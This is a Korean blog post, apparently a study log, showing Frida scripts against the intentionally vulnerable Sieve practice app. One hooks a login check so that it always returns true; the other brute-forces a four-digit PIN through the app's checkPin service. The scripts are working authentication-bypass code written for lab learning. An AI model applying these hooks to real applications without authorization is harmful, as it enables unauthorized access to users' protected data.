프리다 실무활용 -Level3-4 로그인 우회 브루트포스
2023. 5. 11. 09:38ㆍ구축/Mobile Hack
https://github.com/as0ler/Android-Examples/blob/master/sieve.apk
GitHub - as0ler/Android-Examples: APK's used as example Apps for decompiling
APK's used as example Apps for decompiling. Contribute to as0ler/Android-Examples development by creating an account on GitHub.
github.com
어플 설명
1. master password 설정
main activity 찾기
setImmediate(function(){
Java.perform(function(){
var loginBypass = Java.use("com.mwr.example.sieve.MainLoginActivity");
loginBypass.checkKeyResult.implementation = function(arg){
console.log("[*] Success Login Bypass");
this.checkKeyResult(true);
}
})
})
2. pin(4자리) 입력 (브루트포스)
setImmediate(function(){
Java.perform(function(){
var login_bypass = Java.use("com.mwr.example.sieve.MainLoginActivity");
login_bypass.checkKeyResult.implementation = function(arg){ // 인자값 하나 받고 있음 checkKeyResult(boolean status)
console.log("\n[+] 로그인 우회 성공!\n");
this.checkKeyResult(true); // checkKeyResult의 기존 조건 분기 로직을 그대로 동작시키면서 무조건 true로 빠지도록!
}
function padToFour(number){
if(number<=3333){
number = ("000" + number).slice(-4);
return String(number);
}
}
var pin_bypass = Java.use("com.mwr.example.sieve.ShortLoginActivity"); // 클래스에 대한 객체를 사용한다!
pin_bypass.submit.implementation = function(arg){ // submit 메서드는 인자 하나만 받고 있음 submit(View view)
var service = this.serviceConnection.value; // this.service.Connection.checkPin(this.workingPin); 라인을 가져다 쓴다
for(var i=1000; i<3333; i++){
//i = String(i);
service.checkPin(padToFour(i));
console.log("\n[+] BruteForce:" + padToFour(i));
}
}
})
})
'구축 > Mobile Hack' 카테고리의 다른 글
apk-tool 설치 (0) | 2023.05.16 |
---|---|
프리다 실무활용 -Level2 암호 복호화 (0) | 2023.05.10 |
Uncrackable -Level1 루팅탐지 (1) | 2023.05.10 |
Frida설치(feat. anaconda) (0) | 2023.05.06 |